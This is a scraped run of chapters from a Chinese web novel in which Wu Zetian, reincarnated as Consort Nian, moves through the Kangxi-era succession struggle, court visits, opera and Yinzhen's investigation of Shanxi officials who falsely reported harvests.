所幸良妃唯一的孩子八阿哥胤禩是个极聪明伶俐之人,自小就被年龄相仿的阿哥们(九阿哥、十阿哥、十四阿哥)拥护爱戴,长大后因为谦逊有礼、平易近人的性格得到满朝文武勋贵们的喜欢,曾经短暂抚养胤禩的惠妃对他的喜爱甚至胜过惠妃的亲生儿子大阿哥胤褆,康熙皇帝唯一的哥哥裕亲王福全也非常赏识这个侄儿,不止一次在康熙帝面前称赞胤禩“心性好,不务矜夸”。 可惜良妃福薄,晋封良妃后不久便开始断断续续生病,如今早已重病缠身。 德妃与良妃素来亲近,良妃病重,她也痛在心中,时时前往探视,每隔几日便派人给良妃宫中送糕饼点心聊作慰藉,今日雍亲王福晋乌拉那拉氏领着新入府的年氏入宫觐见,德妃也不忘让两人去良妃宫中陪重病缠身的良妃说些宫外发生的新鲜快乐事。 [良妃娘娘本无病,是被八贝勒连累了……] 介绍良妃生平与近况的同时,乌拉那拉氏的心声也缓缓传入武曌耳中,补全她作为雍亲王嫡福晋不能说出口的内容。 原来,良妃所生的八阿哥胤禩虽然人品优秀深受爱戴,以德妃的妹夫阿灵阿、孝懿皇后的堂兄鄂伦岱、明珠之子纳兰揆叙为首的朝廷重臣们一致认为八阿哥胤禩比元后嫡出的二阿哥胤礽更适合储君之位,康熙皇帝却从未考虑立八阿哥胤禩为储君,反倒是胤禩因为众人的拥护对皇位产生了觊觎之心。 康熙四十七年,康熙皇帝废太子,命众臣议立太子,满朝大臣不分满汉文武两次集体拥立胤禩为储君,胤禩也由于众人的拥护,认为太子之位非他莫属,公开与众臣们眉来眼去。 不喜胤禩的康熙皇帝顿时被触怒。 不甘心被儿子和臣子挟持的他力排众议将已经被废的前太子胤礽重新立为太子,驳了众臣们拥立胤禩为储君的建议,更迁怒良妃,当众斥责她是卑贱人,生的儿子不配做太子。 良妃多年来一直被皇帝冷落,将优秀出众的儿子胤禩当做人生唯一的希望,如今皇帝公开表示不立胤禩是因为胤禩的母亲也就是自己出身低微,可谓痛不欲生,从此心灰意冷,郁郁寡欢,不过一年 6. 八贤王? 《[清穿]年妃则天》全本免费阅读 陪良妃说了些宫外的快乐琐事,见良妃露出疲惫,乌拉那拉氏便带着年世华行礼退出。 两人出去时,恰逢八贝勒前来探望母亲。 见四哥的两位福晋从额涅寝殿走出,八阿哥胤禩停下脚步,恭敬行礼问安:“两位嫂嫂安好。” “谢八贝勒关心。” 乌拉那拉氏带着年世华向胤禩回礼:“雍亲王府上下一切安好。” 胤禩闻言,儒雅唇角泛起笑意,目光在年世华身上稍作停留随即收回:“侧福晋身体好些了吗?” “谢八贝勒关爱,奴才有四爷关爱又吃过汤药,身体已经好了大半。” 武曌不动声色地拉开和胤禩的距离——此处是皇宫,又是雍亲王嫡福晋乌拉那拉氏跟前,身份是年羹尧胞妹的她不想被人误会年世华和胤禩之间存在蝇营狗苟,虽然她将来必定会为了利益和这位得到朝堂大部分臣子拥护的“八贤王”发生拉扯。 胤禩闻言,眼神略有黯淡,叹道:“四哥待你倒也上心。” [以前你跟在亮工(年羹尧的字)身后喊八爷,如今成了雍亲王侧福晋,开始叫我八贝勒。] 伤感心声传入耳中,武曌不免多看胤禩一眼:这男人生得俊俏,器宇轩昂,风度翩翩,果然不负“八贤王”之名。 但想到同样被朝臣集体拥护而和父皇成为仇敌,前世侍奉的太宗皇帝能玄武门兵变夺得大宝之位,眼前的胤禩却一事无成还连累生母良妃受辱,武曌顿时觉得此人不过如此。 胤禩感受到年世华的注视,以为她留恋往日情分,心中又有几分唏嘘感叹,回过神时,年世华已随乌拉那拉氏走远。 …… 胤禩走进寝殿,向病榻上的母亲请安。 良妃疲倦地抬起眼皮,示意宫人给八阿哥搬来凳子:“胤禩,额娘……额娘这次病得厉害,恐怕命不久矣……” “额涅,您只要按时吃药,一定会——” “我的病在心里,汤药治不好。” 良妃苦笑着,让宫人们尽数退下。 “额涅,你——” “有些话……我必须告诉你……否则……否则死也不甘心……” 良妃支离着坐起,神情严肃:“胤禩,不要再妄想皇位了,你皇阿玛绝不可能立你为储君。” “哪怕满朝文武大臣都拥立我?” 胤禩反问:“皇阿玛让满汉大臣推荐除大阿哥以外的阿哥为储君时明明承诺‘众议谁属,朕即从之’,看到大家都推举我做皇储后,他却认为朝臣们意图结党营私,当众殴拽大学士马齐。儿子原本不是非做储君不可,但皇阿玛因为朝臣拥戴我而憎恨我,讥讽我少不更事,指责额涅出身微贱……儿子实在咽不下这口气!” “胤禩!你要把额娘架在火上烤吗?” 良妃含泪,悲伤地看着儿子:“我……或许我……我只有死了才能清净……” 闻言,胤禩大急,跪地哀求道:“额涅,孩儿绝无威胁额涅之意,孩儿争储只因为孩子不甘心,孩儿想为额涅争得大清皇太后的尊荣!” “但是额娘……” 良妃叹了口气,道:“除了皇储的事情,额娘心里还有一件事始终放不下。胤禩,你已是而立之年,为何后院竟只有一子一女?难道真如外界所言,你……不敢违逆你的嫡福晋……还是说,你……” “额涅在担心什么?” “……没什么。” 良妃欲言又止。 胤禩趁机变换话题:“额涅可知年羹尧的妹妹入雍亲王府当夜险些心梗死去?” “——你为何对年家至今念念不忘?” 良妃神色苦闷。 胤禩道:“若非皇阿玛针对我,将年家所属的镶白旗从纳兰揆叙转到四哥手中,年氏本不会成为四哥的侧福晋!她原本应当是我或者十四的侧福晋。” “你既知道你皇阿玛怨恨你、处处针对你,为什么还和你皇阿玛过不去?他是你的皇阿玛,更是大清的天子!” 说到此处,良妃已泪流满面。 后宫沉浮半生的她深知伴君如伴虎,连最得皇帝喜爱的皇太子胤礽犯错都难逃严惩,何况胤禩和自己? 君臣父子之间恐怕—— “君要臣死,臣不得不死,父要子亡,子不得不亡。但即便如此,儿子依然想讨一个公道!不仅仅为自己,更是为额涅!” 胤禩斩钉截铁地说道。 “胤禩,你——” 良妃不堪重负,当场晕死过去。 …… …… 武曌随乌拉那拉氏回到雍亲王府已是黄昏时分。 雍亲王不在,说是朝中有棘手事要处理,今夜可能都不会回府。 嫡福晋对此早已习惯。 她告诉新入府的年世华:“咱们爷自打康熙四十八年被皇上封为和硕雍亲王,每个月总有那么个十天八天不能回府过夜。” “皇上器重爷,把大事交给咱们爷处理,是求都求不来的福分。” 武曌附和乌拉那拉氏。 乌拉那拉氏对年世华的回答非常满意,打趣道:“话是这么说没错,可你才刚入府,正是要男人滋润的时候,受得住独守空房的寂寞吗?” “为了爷,世华什么都能忍受。” 武曌做出低眉顺眼的模样。 乌拉那拉氏因此越发感到满意。 这时,有奴婢捧着堆满切成手指粗的细长条的熟羊肉的铜锅穿过庭院,见两位福晋站在台阶上,赶紧停住脚步:“奴才雨禾给嫡福晋请安,给侧福晋请安。” “瞧这满满一锅子的羊肉,莫非她又想出什么新鲜吃食?” 乌拉那拉氏兴致盎然地看着奴婢捧在手中的堆满细长条熟羊肉的铜锅。 武曌不解,问道:“姐姐,这个奴婢是……” “她叫雨禾,府里另一位侧福晋的贴身丫鬟。” 乌拉那拉氏淡淡道:“当年我们还住在阿哥所的时候,李氏便以擅长捣弄吃食出名。咱们爷性情淡泊,不重口腹之欲,唯独李氏准备的吃食每次都切中爷的心怀,她也因此成为府里为爷生育子嗣最多的女人。” [ 7. 长生殿和唐玄宗 《[清穿]年妃则天》全本免费阅读 “赛宝也越长越漂亮了。” 乌拉那拉氏慈爱地看着赛宝,示意她起身:“你弟弟弘时呢?” “弟弟正跟着师傅在书房里念书。” 赛宝的眼神有些闪烁。 “真的?” 乌拉那拉氏看出赛宝心虚,直言道:“他莫不是又去隔壁找弘旺、弘晸他们了?” 弘旺是八阿哥胤禩的庶出长子,生于康熙四十七年,弘晸则是九阿哥胤禟的庶出长子,生于康熙四十五年。 虽然早在康熙四十七年一废太子时,皇子们就为了储位暗中斗得你死我活,但是明面上,京城宅邸和郊外园子都选择建在一处的四阿哥胤禛、八阿哥胤禩、九阿哥胤禟一直被认为是皇家难得的兄友弟恭典范,恰好三人的儿子年龄相近,平日里难免一起玩耍。 胤禛为了让大家相信他与老八、老九是亲密无间的好兄弟,也从不禁止儿子去隔壁和弘旺、弘晸玩耍。 李佳兰凭着出挑的样貌和精湛的厨艺得到四爷宠爱,是没什么心机的天真性子。她见四爷不反对儿子和弘旺、弘晸往来,便跟着觉得年龄相仿的堂兄弟理应相亲相爱,完全意识不到胤禛此举暗藏权谋算计。 见嫡福晋似乎不满弘时和弘旺、弘晸玩耍,李佳兰笑道:“弘时没有同父兄弟,能有堂弟们一起长大也是佛祖的安排。” “你说得有道理。” 乌拉那拉氏笑容僵硬。 李佳兰见状,以为弘时的事情已经过去,引两人入室内,介绍道:“今天妹妹不仅准备了羊肉锅子,还叫了伶人唱《长生殿》。” “《长生殿》?” 乌拉那拉氏又惊又喜:“爷知道这件事情吗?” 李佳兰笑道:“我们不说,爷怎么会知道?何况——” “何况爷也只是禁止王府排演全本《长生殿》。” 乌拉那拉氏笑着补全李佳兰的话。 原来,洪昇创作的昆曲本子《长生殿》虽在康熙二十八年问世时轰动京城,但是第二年洪昇就因为孝懿皇后忌日演出《长生殿》被劾下狱,京城从此不敢公开排演《长生殿》。 然而,康熙皇帝本人私下却喜欢《长生殿》,每次听《长生殿》的最后一出《重圆》都会潸然泪下,想象自己将来也和唐玄宗一样深情打动上天,到天上与孝诚皇后(赫舍里)重逢,长相厮守,永不分离。 上有所好,下必效之,虽然从康熙二十九年起京城不再公开排演《长生殿》,达官显贵家中却大多养着会唱《长生殿》的伶人。 雍亲王府也不例外。 王府的女人们更是因为自身的遭遇对《长生殿》描绘的缠绵悱恻与爱恨离别都感同身受。 例如李佳兰,她原本就喜欢听《长生殿》,发现年华老去的自己即便使出十八般厨艺加上生育儿女的情谊也只能让四爷时不时来她的院子和她说话无法留下过夜后,对《长生殿》的精彩唱词——不论是唐玄宗与杨贵妃的情投意合情意绵绵还是杨贵妃死后唐玄宗的痛不欲生——都越发地迷恋喜爱了。 …… 羊肉锅子很快煮开,热腾腾地不断冒香气。 奴婢们端来十几碟洗得青葱碧绿后切成小段的菜蔬,二十多个白瓷小碟内依次放着小葱、大葱、姜末、蒜叶、腊八蒜、韭菜花、花椒、香油、酱油等等佐料,院子里还有两个专门负责片肉的师傅站在残留冬日寒意的夜晚用无比锋利的薄刃从傍晚刚宰杀的小羊羔身上切下一片片薄如蝉翼的嫩肉。 扮演唐玄宗和杨贵妃的女伶手持折扇上前,绕着三位主子咿咿呀呀地唱念,儒软的曲调听得人心头发颤,万千柔情涌上心头。 第一次听《长生殿》的武曌尤其深受触动,想起前世种种,眼角有些许潮湿。 乌拉那拉氏疼惜年世华未来命途多舛,见她似是第一次听《长生殿》唱词,以为年家规矩森严,不许未出阁的女儿听《长生殿》这类讲述男女痴情纠缠的曲调,遂向年世华简单介绍《长生殿》的故事。 “大唐玄宗皇帝李隆基自登基后励精图治,国力日渐强盛,唯独后宫空虚孤枕难眠,于是下旨选美,将才色双全的杨玉环选入宫中封为贵妃。杨贵妃的兄长和三个姐妹也因此鸡犬升天,权倾一世……” 大唐玄宗李隆基? 大唐? 李隆基? 武曌越听越感觉微妙。 她从未听说大唐玄宗皇帝李隆基,但前世的她身为大周皇帝兼大唐则天皇后,诸多孙儿中有一人名叫李隆基,是李旦的三儿子,颇有几分聪明伶俐。 难不成…… “……安禄山通过贿赂杨国忠,得到唐玄宗重用,被任命为范阳节度使。他野心勃勃,竟然招兵买马,积蓄力量,起兵谋反。叛军一路势如破竹,攻到长安……” 乌拉那拉氏继续向年世华讲述《长生殿》的故事。 听故事的武曌眼神越发闪烁。 如果《长生殿》的玄宗李隆基和前世的孙儿李隆基是同一人,那她岂不是…… 想到前世的孙子李隆基很可能是个为了女人葬送大半江山还沾沾自喜的废物,武曌顿时怒从心头起。 该死的东西! 当初就该培养女儿、把皇位传给女儿! 而不是迫于神龙政变不得不让李显复位成为皇帝,间接导致江山险些葬送在李旦的儿子李隆基手中! 当然,即便心中愤怒如山呼海啸,武曌脸上依然挂着明媚的笑容,听到唱词“在天愿作比翼鸟,在地愿为连理枝”时更连连赞叹:“这段唱得真好啊。” “是白乐天的《长恨歌》写得好,伶人们才能有机会唱得好。” 李佳兰脱口而出。 武曌心中再生悸动。 白乐天? 《长恨歌》? 她决定回去后立刻翻看有才女之称的原主的记忆,寻找与《长恨歌》、唐玄宗李隆基有关的内容。 乌拉那拉氏知道年世华有才名,见年世华对李佳兰提白乐天和《长恨歌》反应平淡,以为年世华有意谦让,心中不免讥讽李佳兰班门弄斧不自知,嘴上却故作关切道:“弘时近来学业如何?” “爷给弘时安排的何先生治学严谨,弘时跟着学了不少东西 8. 历史大补课 《[清穿]年妃则天》全本免费阅读 武曌继续翻寻原主记忆。 可惜原主不精史学,武曌将她记忆中与历史有关的内容翻了几遍也只大概知道唐朝晚年发生了黄巢起义,之后五代十国,再然后北宋、辽国并列,辽国被女真人建立的金国灭亡后不久,北宋也被金国灭亡,北宋宗室几乎全被金人掳走,脱逃的赵构度长江建南宋,麾下有精忠报国的岳飞,也有卖国求荣的秦桧…… [岳飞真是可惜,文武双全又忠心爱国,居然遇上这样的皇帝和丞相。] 看过原主记忆中的岳飞生平大概,武曌有感而发,继续往下看。 南宋与金国对峙多年后,陆续被草原崛起的蒙古人灭亡。 蒙古人进入中原后建立元朝,元朝入住中原不过百年便淹没在起义军的汪洋大海中,乞丐出身的朱元璋率领起义军攻入大都,朱元璋成为大明开国皇帝。 [乞丐出身竟能成就帝王大业,朱元璋是个厉害角色。] 同时,武曌注意到建立元朝的蒙古人并没有被朱元璋全数杀灭,在元顺帝带领下,他们逃回了草原,并且,元朝建立者的姓氏孛儿只斤的发音和本朝(清朝)以孝庄太后为首的蒙古后妃的姓氏博尔济吉特非常接近! 难道说—— 武曌心念一动。 她很快就在原主的记忆中找到了佐证。 年家本姓严,祖籍安徽怀远,后讹“严”为“年”,遂以年为姓。 明朝后期,年氏家族迁徙辽东广宁,与生活在辽东的建州女真发生接触,而建州女真是被元朝灭亡的金国女真的后代,也是建立清朝的满族的前身。 明清交接之际,建州女真族改名满族,联合被明朝赶回草原的蒙古多部,创建满蒙八旗,生活在辽东地区的大量汉人也被裹挟入旗,成为隶属于满八旗的汉八旗,年家就是在这时从非旗人成为镶白旗汉军旗人。 [……可惜年世华记忆中的史学内容太笼统,只能看出大唐灭亡到满清建立的大概脉络。] 武曌叹了口气。 但她很快想到年世华不仅有年少有为受康熙皇帝器重的二哥年羹尧,还有以不务正业精通杂学闻名的大哥“呆公子”年希尧。 在年世华的记忆中,年希尧性情温顺,于人情世故颇有几分“呆傻”,精通绘画,喜好音乐,擅长医药,学过西洋文,能独立完成复杂的算数题,同时还热衷编纂史学,书斋内摆满了历朝历代的史学典籍。 想到这里,武曌决定尽快找机会回年家和年希尧见面。 【为什么?】 小凤龙满头疑问。 【想知道神龙元年到康熙五十年期间发生的大事,直接去胤禛的书房翻书不是更快吗?】 [胤禛的书房里自然不可能没有记载历朝历代发生的所有大事的史册书籍,但胤禛此人心机太深,又因年羹尧缘故对年世华颇有成见,还信奉女子不得干涉政事的陈腐规矩……想进他的书房看书,怕是要费些周章!而且有一定可能被他发现我不是原本的年世华!] 【哦哦……】 听过解释的凤龙连连点头。 【人类的世界好复杂……不过也是因为如此,宝宝才喜欢和人类一起生活……】 …… …… 雍亲王胤禛没有回府,因为康熙将陈四流民案交给他办差。 主犯陈四祖籍山西,自称因康熙四十四、四十五两年本省欠收,不得已在康熙四十六年带领妻儿老小连同族人近一百四十口逃荒到陕西庆阳府,康熙四十八年流亡到河南,又从河南流浪移到湖广、贵州。 百姓遇上灾荒年份携家带口逃往没有灾荒的地方本是寻常事,江陵县当地官员调查后呈交给朝廷的报告也表明陈四带领的将近一百四十人确实都是来自山西太原的流民,这些人从山西出发,经过陕西、河南、湖广,有意前往云南、贵州一带垦荒,身上没有携带武器,沿途也不曾犯下抢劫伤人的恶行。 所以,康熙四十九年,陈四的案子交到刑部,刑部并未引起重视,草草看过便将卷宗发给湖广,由总督会同河南巡抚查审,涉案的陈四等一干人全部发回原籍取保安插。 但是康熙皇帝知道这个案子后却是雷霆暴怒! 要知道,自康熙四十二年起,山西当地官员每年都上报朝廷说今年大丰收,没有任何饥馑,百姓肚腹饱足。 “山西连年丰收,陈四竟还要带领全族近一百四十人外出逃荒,难不成山西本地官员年年都在诓骗朕?!” “皇上息怒,此事——” “奏章中提及陈四等百余人出行携带的是需要草料喂养的骡马,可见是个大家族,且此人在地方颇有威望……倒让朕想起了当年的朱三太子……” 康熙板着脸,手指急促敲打御案:“果然,朕这些年太过宽厚!惹得下面一些人已经忘记了江山是朕的江山!” 他抬头,看了眼站列两旁的儿子们,最终落在雍亲王身上:“胤禛,这件事由你全权处理,务必查个水落石出!” “嗻!” 胤禛下跪领命,出紫禁城后却露出为难神色。 在宫门前等候的戴铎见状,赶紧凑上去:“主子,您莫不是遇上了难事?” “遇上了一件非常棘手的事情。” 胤禛冷着脸,将陈四流民案的大概和皇阿玛对此事的评价简单说了一遍。 戴铎听完,也是满脸苦闷:“主子,这差事不好当。” “我怎么可能不知道这是个要命的差事?” 胤禛苦笑:“如果陈四所言属实,那便是山西当地官员连续多年撒谎诓骗皇阿玛,其罪当诛。但即便陈四没有撒谎,山西当地确实发生了连年灾荒,他一个普通百姓竟然能召集全族百余人从山西一路流亡到贵州,中途没有任何阻拦,这份手段以及沿路暴露出的官吏问题……都是非常棘手的事情……” “但如果主子能把这件事办妥,或许皇上心里就会考虑……” 说到这里,戴铎压低声音:“立您为太子。” “——这话可不许胡说!” 胤禛急忙打断。 戴铎却道:“主子,皇上心中倘若对太子没有丝毫芥蒂,为何四十八年二立太子后立刻大封诸王?还把年羹尧的妹妹指婚给主子,此次又将这等棘手事交给主子?依我之见,皇上分明是在考验主子,看主子是否担起江山重任!” “戴铎,你想多了。” 被说中心事的胤禛面色冷冽如铁。 他一直觊觎皇位,但他知道时机还没有成熟,不能把野心表露出来,而眼前这个恨不得把所有欲望都写在脸上的家伙也从来都不是他心目中有资格与他共谋大事的人。 “去刑部。” “嗻。” …… 在刑部对着陈四案的卷宗冥思苦想一整夜,胤禛心中渐渐有了主意。 第二日,他如常早朝,散朝后回到雍亲王府,小太监上前,颤颤巍巍地禀告道:“爷,侧福晋那边……” “年氏?” 胤禛顿了一顿:“她有什么事情?” “回爷的话,侧福晋求问何时可以回门?” 说这话的时候,小太监的声音直发抖。 众所周知,王府里不论是嫡福晋还是侧福晋,在爷面前都是奴才。 从来只有主人命令奴才,哪有奴才向主人提条件。 “她想回门?” 胤禛皱眉:“理由?” “回爷的话,侧福晋说汉人有回门的习俗,完成回门仪式以后,婚姻才算正式结成。” “今日已经是成婚的第四天。” 胤禛无意陪年世华玩小孩过家家,虽然她的年轻、美貌、家世以及床笫间的温顺多情都让他非常满意。 “回爷的话,侧福晋说回门并不一定只能在成婚的第三天,第六天到第九天以及满月的时候都可以……” 小太监越说越害怕,双腿直打颤。 “知道了。” 胤禛摆摆手,示意小太监退下。 “嗻。” 小太监如闻大赦,赶紧退到一边。 胤禛随后抬手招呼苏培盛上前:“替侧福晋准备一下回门所需礼品。” “嗻。” “终归是皇阿玛亲自指婚的侧福晋,该给的不能不给,只不过——” 胤禛抽唇一笑:“本王明日前往山西核查陈四案,四月以前无法回京城,回门的事情,侧福晋自行斟酌!” “嗻。” 苏培盛连声答应:“奴才这就把好消息告诉侧福晋。” “去吧。” 胤禛背着手,走向书房。 陈四流民案的事情,他虽已拟好处理方案,到山西地方后却还是免不了一番随机应变。 倘若最终证实山西官员确如预料那般连续多年对朝廷瞒报灾荒谎称丰收,他们身后的主使者又该是谁? 难道说…… 胤禛越想越烦恼。 老九胤禟以皇家名义敲诈勒索地方官员、富户恶意敛财的消息,他早有耳闻,也一直都知道有“八贤王”美誉的老八胤禩并非人如其名的君子,但他们应该不至于胆大妄为到主动卷入此等大事…… …… …… 女儿将要回门,年家上下欢天喜地,尤其是年遐龄夫妻。 “不知女儿在王府如何?” 年老夫人擦拭眼泪。 正所谓,一入侯门深似海,王府比起侯府岂止深邃百倍。 何况,明眼人都知道皇上是因为器重年羹尧、不希望前途无限的年羹尧和八爷、九爷太过亲近才先把年家所属的镶白旗从纳兰揆叙手中拨到雍亲王名下,又将年家小女儿指婚给雍亲王做侧福晋。 偏年羹尧恃宠而骄,仗着身在四川拒不回京出席幼妹入王府的婚宴,连给主子(雍亲王)的贺礼都草草准备,随便派了个奴仆送去。 想到此节,年夫人忍不住抱怨:“倘若华儿与他是同母所生,他怎可能如此怠慢无礼!” “夫人,你少说两句吧!” 年遐龄苦笑,提醒妻子:“王府的马车快到了。” “我也就是心疼女儿才抱怨这几句,哪能不知道亮工是咱们年家最出息的那个,年家的将来大半系在亮工身上。” 年老夫人愤愤不平,但也无可奈何。 年遐龄夫妻身后,年希尧夫妻以及被年羹尧留在京城的续配妻子觉罗氏俱是一脸无奈。 …… …… 年世华的马车在前呼后拥中抵达年家的京城老宅。 依规矩,嫁给掌管镶白旗的雍亲王为侧福晋后,她便成了父母、兄嫂的主子。 因此,年世华在嬷嬷的搀扶下才出马车,年遐龄夫妻立刻带领全家向年世华行礼。 武曌见状,连忙上前拦阻:“父亲、母亲,你们折煞女儿了。” “尊卑不可废。” 年遐龄夫妻坚持带领全家行礼。 武曌只得受礼,然后以年世华的身份向年遐龄夫妻行儿女大礼,亲密问候以年希尧为首的一干人,在众人的簇拥下进入正厅坐定。 此时,年遐龄等人也已发现雍亲王不在,嘴上不敢吱声,心中难免嘀咕。 尤其是年遐龄。 [四爷身份如此尊贵,确实不太可能陪柔雅回门,但是……但是……四爷不来,当真只是因为尊卑有别,不是因为亮工的怠慢?] 想到此处,年遐龄越发惴惴不安,不等寒暄结束便问女儿:“柔雅,四爷他对你可还满意?” “爷对女儿很好。” 武曌睁着眼睛说瞎话。 “当真?” 年老夫人不信。 她近来时常噩梦,梦见雍亲王将对年羹尧的不满发泄在女儿身上。 “爷若是对女儿不好,又怎会让苏培盛为今日的回门准备如此厚礼?” 武曌巧言安抚年老夫人。 在年遐龄夫妻身上,她感受到了久违的亲情。 “那为何……” 年老夫人欲言又止。 “四爷何等尊贵,怎么可能——” 年遐龄板下脸。 武曌见状,主动缓和气氛:“爷原打算陪女儿回门拜会父亲、母亲大人,无奈国事紧急——” “原来如此,是母亲太不懂事了。” 年老夫人讪讪道。 这时—— [甭管四爷是真有事要处理还是压根不想来,他不陪小妹回门,我们也能落得清闲,少 9. 亡羊补牢 《[清穿]年妃则天》全本免费阅读 山西陈四流民案涉及到的官场内情远比预想中更加盘根错节牵一发而动全身,以至胤禛等人到了太原后用了整整一个月的时间才将其中大概脉络理出。 陈四没有撒谎,山西确实连年灾荒,百姓民不聊生。 但是山西官员仗着朝中有人帮忙遮掩,连续数年都上报大丰收,地方没有任何饥馑。 “爷,咱们现在怎么办?” 李卫小声问主子。 胤禛捏着十八子念珠,冷笑道:“该怎么办就怎么办!” “那万一……” “都敢连续多年谎报丰收了,还有什么事情是他们想做又不敢做的!” “爷说得极是。” 李卫连连点头附和。 胤禛却神情凝重。 因为,根据现有证据,不管怎么处置山西地方官员,都意味着他多年来努力维持的和胤禩、胤禟兄友弟恭的假相彻底崩碎。 “胤禩、胤禟,你们实在太大胆了!” …… …… 雍亲王一行人在山西当地调查陈四流民案背后隐藏的地方与朝廷沆瀣一气谎报瞒报灾情的同一时间,武曌正认真阅读《资治通鉴》。 当她看到司马光在《资治通鉴》内仿佛亲眼所见那般栩栩如生地描绘她如何狠心掐死刚出生的女儿以此陷害王皇后、因为被萧淑妃诅咒“愿他生我为猫,阿武为鼠,生生扼其喉”于是禁止唐宫养猫等各种毫无真凭实据的胡编乱造内容时,险些拍案而起。 [这司马光怕不是赵高同族!] 【可他写的故事很有趣~好像真的发生过一样~】 停在武曌肩上伸长脖子看《资治通鉴》的凤龙伸出细长的舌头。 [然而这些事情一件都没有真实发生过,反倒是真正的我……因为《新唐书》和他在《资治通鉴》中孜孜不倦的诽谤,成了比吕后更加恶毒狠辣的女人。] 武曌叹息。 从她决定登基那一刻开始,她便知道她会被后世认定是毒妇,就像她的前辈吕雉。 但她没想到后世文人为了渲染她的毒妇形象,竟如此无中生有胡编乱造。 尤其当她得知带头造谣的司马光生活的北宋是个文官党争攻讦大行其道的王朝时。 [因为无法正面打败或超越你的敌人,于是选择下三滥的诽谤造谣吗?] 武曌冷笑,继续看从年希尧书房带回的书籍,偶尔拨弄珐琅地球仪,接受并消化她的世界是个圆球这一颠覆□□实。 如果世界是个名为地球的巨型圆球,中原、西域、关外以及大食、天竺都只是庞大地球上名为亚洲的区域的一小部分,那么—— 亚洲以外的世界是什么样子? 西洋又是什么模样? 除却亚洲和西洋,地球上还有哪些未知的世界,或者说,等待被征服的世界? 武曌越想越兴奋。 也许,解答这些未知才是她被命运带临此地的原因。 【不是命运,是凤龙宝宝~是凤龙宝宝把你带到了这里~】 随时可以听到武曌心声的小凤龙一本正经地纠正。 武曌抬头,看着这只未来拥有恐怖到令生灵绝望的可怕力量但目前还处于天真无邪的幼年期的神兽,露出欣赏的笑容。 [是的,是你把朕带到了这里,你将帮助朕完成前世未竟之事。] 【凤龙宝宝将来超级~强大~】 小凤龙竖起身体,后肢站立,前肢握拳高举——祂将这个可笑中隐约透着神兽威严的姿势命名为“凤龙宝宝超强大”。 …… …… 乔装进入山西地方排查整整一个月又二十天后,雍亲王胤禛返回京城,将此次在山西各县看到的凋敝灾荒情况禀告康熙皇帝:“……皇阿玛,上述种种,均为儿子亲眼所见,请皇阿玛圣裁。” “山西各县沆瀣一气,连续多年谎报收成……明明是荒年却说成大丰收,把百姓家中仅有的一点糊口的米粮征收入库……如此说来,陈四的陈述竟不全然是胡编乱造,山西地方官员确实有问题……” 康熙的脸色很难看。 山西地方官员谎报收成多年竟无一人觉察,直到陈四流民案才揭开冰山一角,可见此事牵扯官员遍布朝野,其中不乏—— 想到此处,康熙抬了抬眼皮:“查到哪些人和此事有关?” “这些是儿子已经查到的与此事有关的官员名字。” 胤禛呈上奏章。 “嗯。” 康熙抬手,带上西洋眼镜,从太监手中接过折子,仔细反复端详过后—— 用烛火将折子点燃。 胤禛平静地看着皇阿玛的举动,一言不发。 很快,折子就化为灰烬。 康熙满意地看着从始至终都保持沉默的胤禛,道:“老四,比起当年,你也成熟了许多。” “儿子如今年岁渐长,将心比心,渐渐能理解皇阿玛的不容易。” “是啊……皇帝这个位置……自古以来就不容易……非常……非常的不容易……” 康熙摘下西洋眼镜,叹道:“但朕既然坐上了这个位置,就必须坐下去!做到朕能做到的最好!所以——” 他语锋一转:“陈四这个案子必须严办!陈四这个人留不得!陈四所经过府州县官也要严查不怠!” “儿子绝不辜负皇阿玛嘱托。” 胤禛连声答应。 康熙见老四完全领会他的心意,冰冷的面容绽出慈爱的笑容,道:“天色不早了,老四你也该回去享受你的温香软玉了。” “早日给朕再添几个皇孙。” 康熙补充道。 “儿子告退。” …… …… 胤禛走出紫禁城,候在马车前的戴铎立刻迎上前:“爷,皇上对您这次的差事是——” “皇阿玛让我尽快按他的意思把涉案人员妥善处理。” 胤禛面色冷冽,看不出悲喜,在苏培盛的伺候下登上马车。 戴铎不死心,想钻进马车和雍亲王共商大计,却因为车夫的动作险些摔倒在地,稳住身形时,马车已经离开,戴铎只得狼狈不堪地提着袍褂在后面追赶。 马车内,胤禛捏着念珠手串,脸色游移。 他还在回想皇阿玛方才的举动。 卷入陈四流民案的官员,除了必须死的陈四,还有哪些人是该杀? 哪 10. 八福晋来访 《[清穿]年妃则天》全本免费阅读 “这就是年羹尧托人送回北京的景德镇新制淡胭脂红色瓷瓶?” 胤禛伸手,轻抚年家送来的色泽淡雅又不失明媚清幽的胭脂粉红色瓷瓶。 “正是。” “颜色很美,媚而不妖,清而不冷,胚体轻薄透彻,是花了心思的上品。” 胤禛对粉红釉色瓷瓶的评价很高。 随后,他看向珐琅地球仪。 地球仪的直径接近两尺,通体黄铜打造,国家与国家用珐琅色区分,国境线的位置则镶嵌镀金的细铜条,地球仪的黄铜底座也足有一尺高,同为黄铜质地的圆弧形表面镶嵌着十二颗宝石,与黄铜地球仪相连的轴柄顶端则嵌着一颗微微发黄的大珍珠。 “这等做工的地球仪,便是在宫中也不多见。” 胤禛抬手,拨动地球仪。 和世间大部分人一样,他对地球仪上有明确标注的所有未知之地充满好奇。 [真想去这些地方亲眼看一看,瞧一瞧。] 胤禛因地球仪而生的心声缓缓流入耳中,武曌嫣然一笑,将年希尧编纂的《视学》、《对数广运》、《集验良方》三书样稿递上。 “这是——” 胤禛眼前一亮,尤其看到《对数广运》时。 [皇阿玛闲暇时最喜欢和西洋人一起讨论对数几何题目,若我将年希尧编写的《对数广运》献上,必能得到皇阿玛的嘉奖。不,不对,我应该先把《对数广运》的内容吃透,如此,皇阿玛和西洋传教士们讨论对数几何问题的时候,我也可以参与讨论,让皇阿玛对我更多几分喜爱。] 胤禛缜密思考。 经过朝臣两次推举八阿哥胤禩未果反让二阿哥胤礽复位太子风波后,本就心思深沉的胤禛越发清晰地意识到夺嫡的关键从始至终是皇阿玛而不是朝臣! 他只需要做到以下两点—— 第一,成为皇阿玛喜欢的儿子; 第二,将皇阿玛喜欢的人纳入己方阵营; 就可以在夺嫡战争中占据绝对优势! 至于老八和老九的“贤王”做派——短期内能占据一定优势,长期却会让他们被皇阿玛彻底嫌恶! 想到此处,胤禛抬头,看着正是花容月貌又性情温顺还能带给他足够利益的年世华:“今天晚上,在你这边过夜。” “奴才这就让下人们准备——” 武曌转身欲退下。 “不用了!” 胤禛突然出声,抓住女人的手,将她拽入怀中。 “爷——” 早早看穿男人此刻心中所想的武曌无比配合地露出惊恐中带着期待的神情,轻声呼唤,宛若软毛挠过心头。 